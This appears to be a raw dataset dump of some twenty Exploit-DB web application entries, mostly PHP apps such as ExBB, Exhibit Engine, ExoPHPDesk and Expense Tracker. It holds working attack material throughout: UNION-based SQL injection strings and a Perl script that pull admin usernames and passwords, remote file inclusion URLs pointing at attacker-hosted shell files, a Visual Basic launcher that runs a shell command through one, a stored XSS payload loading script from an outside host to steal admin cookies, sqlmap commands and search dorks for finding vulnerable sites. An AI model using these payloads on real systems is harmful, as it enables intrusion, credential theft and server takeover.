deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50725
Description: Exam Reviewer Management System 1.0 - ‘id’ SQL Injection
Type: webapps
Platform: php
Date: 2022-02-09
Author: Juli Agarwal

Exploit:
# Exploit Title: Exam Reviewer Management System 1.0 - ‘id’ SQL Injection
# Date: 2022-02-18
# Exploit Author:  Juli Agarwal(@agarwaljuli)
# Vendor Homepage:
https://www.sourcecodester.com/php/15160/simple-exam-reviewer-management-system-phpoop-free-source-code.html

# Software Link:
https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code

# Version: 1.0
# Tested on: Windows 10/Kali Linux



Description – The ‘id’ parameter in Exam Reviewer Management System web
application is vulnerable to SQL Injection

Vulnerable URL - http://127.0.0.1/erms/?p=take_exam&id=1



POC:-



---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: p=take_exam&id=1' AND 4755=4755 AND 'VHNu'='VHNu



Type: error-based

Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)

Payload: p=take_exam&id=1' OR (SELECT 8795 FROM(SELECT
COUNT(*),CONCAT(0x71766a7071,(SELECT
(ELT(8795=8795,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'MCXA'='MCXA



Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: p=take_exam&id=1' AND (SELECT 2206 FROM (SELECT(SLEEP(5)))AhEo)
AND 'vqGg'='vqGg---



*SQLMAP COMMAND*



*# sqlmap -u "127.0.0.1/erms/?p=take_exam&id=1
<http://127.0.0.1/erms/?p=take_exam&id=1>" -p id --dbs --level 3*
Exploit-DB #41288
Description: EXAMPLO - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Examplo - Online Exam System - SQL Injection
# Google Dork: N/A
# Date: 09.02.2017
# Vendor Homepage: http://softpae.sk/
# Software Buy: https://codecanyon.net/item/examplo-online-exam-system/16174658
# Demo: http://munka.softpae.sk/examplo/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as student user
# http://localhost/[PATH]/index.php?page=exams&action=edit&eid=[SQL]
# http://localhost/[PATH]/index.php?page=classes&action=send&cid=[SQL]
# Etc...
# # # # #
Exploit-DB #28467
Description: ExBB 1.9.1 - 'Home_Path' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-08-31
Author: Matdhule

Exploit:
source: https://www.securityfocus.com/bid/19787/info

ExBB is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect ExBB 1.9.1; other versions may also be vulnerable.

http://www.example.com/[exbb_path]/modules/birstday/birst.php?exbb[home_path]=http://www.example2.com/inject.txt? http://www.example.com/[exbb_path]/modules/birstday/select.php?exbb[home_path]=http://www.example2.com/inject.txt? http://www.example.com/[exbb_path]/modules/birstday/profile_show.php?exbb[home_path]=http://www.example2.com/inject.txt? http://www.example.com/[exbb_path]/modules/newusergreatings/pm_newreg.php?exbb[home_path]=http://www.example2.com/inject.txt? http://www.example.com/[exbb_path]/modules/punish/p_error.php?exbb[home_path]=http://www.example2.com/inject.txt? http://www.example.com/[exbb_path]/modules/punish/profile.php?exbb[home_path]=http://www.example2.com/inject.txt? http://www.example.com/[exbb_path]/modules/threadstop/threadstop.php?exbb[home_path]=http://www.example2.com/inject.txt? http://www.example.com/[exbb_path]/modules/userstop/userstop.php?exbb[home_path]=http://www.example2.com/inject.txt?
Exploit-DB #2273
Description: ExBB Italiano 0.2 - exbb[home_path] Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-29
Author: SHiKaA

Exploit:
#==============================================================================================
#ExBB Italian version <= v2.0 (home_path) Remote File Inclusion Exploit
#===============================================================================================
#                                                                          
#Critical Level : Dangerous                                                
#                                                                          
#Venedor site : http://www.exbb.altervista.org/           
#                                                                           
#Version : 2.0                                                
#                                                             
#================================================================================================
#Bug in : smodules/userstop/userstop.php
#
#Vlu Code :
#--------------------------------
#     <?
#  include($exbb['home_path'].'modules/userstop/data/userstop_conf.php');
#  include($exbb['home_path'].'modules/userstop/language/'.$exbb['default_lang'].'/lang.php')
#    
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/modules/userstop/userstop.php?exbb[home_path]=http://SHELLURL.COM?
#
#DOrk : in Yahoo.it =====>         "Powered by ExBB "
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) | cyper-worrior
==================================================================================================

# milw0rm.com [2006-08-29]
Exploit-DB #12355
Description: Excitemedia CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-23
Author: Dr.0rYX & Cr3W-DZ

Exploit:
#!/usr/bin/perl -w

# Excitemedia CMS Sql injection vulnerability #
########################################
#[+] Author : Dr.0rYX AND Cr3W-DZ
#[+] Greetz : HIS0K4 - claw and all the other friends
#[+] inurl:”gallery_image.php?image_id=”
#[+] Vendor: http://www.excitemedia.com.au
#[+] sell script with host  
########################################
print "\t\t| NORTH-AFRICA SECURITY TEAM |\n\n";
print "[x] Dr.0rYX AND Cr3W-DZ\n\n";
print "[x] N.A.S.T\n\n";
print "[x] Excitemedia Cms Sql injection vulnerability\n\n";
print "[x] www.nasteam.wordpress.com\n\n";
print "\t\t| vx3[at]hotmail.de  |\n\n";
print "\t\t| cr3w[at]hotmail.de |\n\n";
use LWP::UserAgent;
print "\nTarget page:[http://site/path/]: ";
chomp(my $target=<STDIN>);
$column_name="concat(0x757365723d,username,0x3a,0x[PII_REDACTED]6f72643d,password)";
$table_name="members";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target."/gallery_image.php?image_id=1 and 1=0 union select 1,2,".$column_name.",4,5,6,7,8 from ".$table_name." 

limit 0,1--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~ /user=(.*?):/){
print "\n[+] Admin username : $1\n\n";
}
else{print "\nError\n";
}
$answer = $res->content; if ($answer =~ /password=(.*?)<\/div>/){
print "\n[+] Admin password : $1\n\n";
}
else{print "\nError\n";
}
Exploit-DB #5265
Description: Exero CMS 1.0.1 - 'theme' Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-03-17
Author: GoLd_M

Exploit:
Exero CMS 1.0.1 (theme) Multiple Local File Inclusion Vulnerabilities
Script : http://switch.dl.sourceforge.net/sourceforge/exerocms/Exero_CMS_1-0-1.rar
Home Page : http://ecms.getox.net/
POC :

      /Exero_CMS_1-0-1/themes/Default/usercp/index.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/usercp/editpassword.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/usercp/avatar.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/custompage.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/errors/404.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/members/memberslist.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/members/profile.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/news/index.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/news/fullview.php?theme=Local File %00
      /Exero_CMS_1-0-1/themes/Default/nopermission.php?theme=Local File %00

# milw0rm.com [2008-03-17]
Exploit-DB #28873
Description: Exhibit Engine 1.22 - 'fetchsettings.php?toroot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-30
Author: Cyber Security

Exploit:
source: https://www.securityfocus.com/bid/20793/info

Exhibit Engine Software is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Version 1.22 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/fetchsettings.php?toroot=shell
Exploit-DB #28874
Description: Exhibit Engine 1.22 - 'fstyles.php?toroot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-30
Author: Cyber Security

Exploit:
source: https://www.securityfocus.com/bid/20793/info
 
Exhibit Engine Software is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
 
Version 1.22 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/fstyles.php?toroot=shell
Exploit-DB #2850
Description: Exhibit Engine 1.22 - 'styles.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-25
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Exhibit Engine <= 1.22 (toroot) Remote File Include Vulnerability
$$  Script site: http://photography-on-the.net/ee/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[ee_path]/styles.php?toroot=[evil_scripts]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-11-25]
Exploit-DB #2509
Description: Exhibit Engine 1.5 RC 4 - 'photo_comment.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-10-10
Author: Kacper

Exploit:
'
' EXPLOIT (c)oded by Kacper in Visual Basic ;-)
'
':::::::::  :::::::::: :::     ::: ::::::::::: :::
':+:    :+: :+:        :+:     :+:     :+:     :+:
'+:+    +:+ +:+        +:+     +:+     +:+     +:+
'+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+
'+#+    +#+ +#+         +#+   +#+      +#+     +#+
'#+#    #+# #+#          #+#+#+#       #+#     #+#
'#########  ##########     ###     ########### ##########
'::::::::::: ::::::::::     :::     ::::    ::::
'    :+:     :+:          :+: :+:   +:+:+: :+:+:+
'    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+
'    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+
'    +#+     +#+        +#+     +#+ +#+       +#+
'    #+#     #+#        #+#     #+# #+#       #+#
'    ###     ########## ###     ### ###       ###
'
'
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'+
'-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
'+
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'+
'- Exhibit Engine <= 1.5 RC 4 (photo_comment.php) Remote File Include Exploit
'+
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'+
'- [Script name: Exhibit Engine 1.5 RC 4
'- [Script site: http://www.edrotberg.org/gallery/
'- dork: "generated by Exhibit Engine 1.5 RC 4"
'+
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'+
'-          Find by: Kacper (a.k.a Rahim)
'+
'-    DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
'+
'-          Contact: kacper1964@yahoo.pl
'-                        or
'-           http://www.rahim.webd.pl/
'+
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'+
'- Special Greetz: DragonHeart ;-)
'- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
'-      SkD, nukedclx, Ramzes, t3k, dn0d'e, sysios, SpiderZ
'-
'- Greetz for all users DEVIL TEAM IRC Channel !!
'!@ Przyjazni nie da sie zamienic na marne korzysci @!
'+
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'+
'-            Z Dedykacja dla osoby,
'-         bez ktorej nie mogl bym zyc...
'-           K.C:* J.M (a.k.a Magaja)
'+
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Private Sub Form_Load()

'**********************SETTINGS**************************
' strona = path to script
' evil_script = path to shell
' cma = shell command
'********************************************************

strona = "http://www.strona.pl/"
evil_script = "http://www.strona.pl/shell.txt?"
cmd = "ls -la"

'********************************************************
Call MsgBox("DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam .... or http://www.rahim.webd.pl/", vbCritical, "See You back again :D !!")
vul = "photo_comment.php?toroot="
exploit = strona & vul & evil_script & cmd
PageLocation$ = exploit
ShellX = Shell("explorer.exe " + PageLocation$)
Unload Me
End Sub

'************************eof*****************************
' Pozdr0 dla ludzi dobrej woli :D
'
'DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam

' milw0rm.com [2006-10-10]
Exploit-DB #8744
Description: Exjune Officer Message System 1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-05-20
Author: ByALBAYX

Exploit:
@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG
@~~===============TURKISH=================~~@

@~~=======================================~~@
@~~=Script   : exJune Office Message System v1

@~~=S.Site   : http://exjune.com

@~~=Demo     : http://exjune.com/products/messages/index.asp
@~~=======================================~~@
@~~=Vul :

@~~=http://c4team.org/ [Path] /configure.asp

@~~=http://c4team.org/ [Path] /addmessage2.asp?id=179

Vs.. 

@~~=======================================~~@

@~~=:/

# milw0rm.com [2009-05-20]
Exploit-DB #25300
Description: EXoops - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-28
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/12915/info

Multiple input validation vulnerabilities reportedly affect exoops. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.

An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks. 

http://www.example.com/modules/newbb/viewforum.php?sortname=p.post_time&sortorder=ASC&sortdays=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&forum=25&refresh=Vai
Pops cookie
http://www.example.com/modules/newbb/index.php?viewcat=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EPops cookie
http://www.example.com/modules/newbb/index.php?viewcat='SQL_INJECTION
http://www.example.com/modules/sections/index.php?op=viewarticle&artid=9%2c+9%2c+9
Exploit-DB #28967
Description: ExoPHPDesk 1.2 - 'Pipe.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-11
Author: Firewall1954

Exploit:
source: https://www.securityfocus.com/bid/21003/info

Exophpdesk is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Exophpdesk version 1.2 is vulnerable.

http://www.example.com/Exophpdesk_PATH/pipe.php?lang_file=[Evil Script]
Exploit-DB #3234
Description: ExoPHPDesk 1.2.1 - 'faq.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-01-31
Author: ajann

Exploit:
*******************************************************************************
# Title   :  ExoPHPDesk <= 1.2.1 (faq.php) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.exoscripts.com
# $$      :  Free
# Dork    :  Powered by ExoPHPDesk v1.2 Final.
# DorkEx  :  http://www.google.com.tr/search?q=Powered+by+ExoPHPDesk+v1.2+Final.+&hl=tr&start=0&sa=N

# Info    : \* Google aramasi sonucu admin kullanici adini ve hashlarini ele
           gecirdiginizde md5 ile sifrelenmis hashi kirmamiza gerek yok.
           Siteye uye olarak beni hatirla tarzi cookie ile girisimizi yaparak,
           cookilerde tutulan UserName ve Pass'i degistererek , admin yetkisi
           ile giris yapabilirsiniz.Daha sonra ticket bolumunden eger serverda
           ayarlar tamsa(configdeki) shell sokabilirsiniz. /*

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//faq.php?action=&type=view&s=&id=[SQL]

Example:

//faq.php?action=&type=view&s=&id=-1'%20union%20select%200,concat(char(85),char(115),char(101),char(114),char(110),char(97),char(109),char(101),char(58),name,char(32),char(124),char(124),char(32),char(80),char(97),char(115),char(115),char(119),char(111),char(114),char(100),char(58),pass),0,0,0,0,0%20from%20phpdesk_admin/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-31]
Exploit-DB #28776
Description: EXPBlog 0.3.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-10-09
Author: Tamriel

Exploit:
source: https://www.securityfocus.com/bid/20420/info

eXpBlog is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

eXpBlog 0.3.5 and prior versions are affected by these issues.

Proof of concept is available:

1) details.php/%3E%22%3E%3Cscript%3Ealert('Unsecure')%3C/script%3E

2) comment=1&captcha_session_code=>"><script>alert('hole')</script>...
Exploit-DB #49373
Description: Expense Tracker 1.0 - 'Expense Name' Stored Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-01-06
Author: Shivam Verma

Exploit:
# Exploit Title: Expense Tracker 1.0 - 'Expense Name' Stored Cross-Site Scripting
# Exploit Author: Shivam Verma(cyb3r_n3rd)
# Date: 2021-01-05
# Vendor Homepage: https://code-projects.org/expense-tracker-in-php-with-source-code/
# Software Link: https://code-projects.org
# Version: 1.0
# Category: Web Application
# Tested on: Kali Linux
# Contact: https://www.linkedin.com/in/shivam413

Attack Vector: This Vulnerability Leads an Attacker to Inject Malicious Payloads in Expense Category section and Paste the Payload in the Desired field each time admin/user visits and manages the user data, The Malicious Payload(XSS) triggers and attacker can capture the admin cookies and access the users Data in Plain Text

Step 1. Install The Software
Step 2. Click on Add Expense Category
Step 3. Now paste your Xss Payload in the Parameter(Expense Name)
Step 4. Click on Add
Step 5. Wait for the Administrator to click on Your link
Step 6. You will receive Admin Cookie Every time he Process the Request

---

XSS Payload: "><script src=https://.xss.ht></script>
Exploit-DB #4189
Description: Expert Advisior - 'index.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-17
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+                Expert Advisior SQL Injection Vulnerbility                 +==--
--==+================================================================================+==--


AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: intitle:"Answer Builder"  Ask a question


DESCRIPTION:
pull out admin user/pass from the database


EXPLOITS:
http://server.com/Script_Path/index.php?cmd=4&id=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,@@version,concat(0x3c623e,username,0x3a,password,0x3c623e),9,10,11,12,13,14,15/**/FROM/**/admin/*


NOTE/TIP:
admin login is at /admin/ you can backup DB there.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net/G0t-Root.org !


--==+================================================================================+==--
--==+                Expert Advisior SQL Injection Vulnerbility                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-17]
Exploit-DB #5776
Description: Experts 1.0.0 - 'answer.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-10
Author: CWH Underground

Exploit:
=========================================================
 Experts (answer.php) Remote SQL Injection Vulnerability
=========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 10 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Experts
 VERSION     : 1.0.0
 DOWNLOAD    : http://downloads.sourceforge.net/experts
#####################################################

---SQL Injection Exploit---

***magic_quotes_gpc = off***

##################################################################################
Line:
   67:	$con= "SELECT question_text, question_expert, question_category, question_closed,  
   68:	TIME_TO_SEC(TIMEDIFF(NOW(),question_date)) AS seconds_ago, 
   69:	user_login, user_id, category_name, expert_login   
   70:	FROM question 
   71:	INNER JOIN (user,category, expert) 
   72:	ON (question_user=user_id 
   73:	AND question_category=category_id AND question_expert=expert_id ) 
   74:	WHERE question_id=".$question_id;
   75:	//echo $con."<br>";
   76:	$fai_con=mysql_query($con) or die(mysql_error());
##################################################################################

EXPLOIT:

http://[Target]/[experts_path]/answer.php?question_id=41 AND 1=2 UNION SELECT concat(administrator_login,0x3a,administrator_password),2,3,4,5,6,7,8,9 FROM administrator


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-10]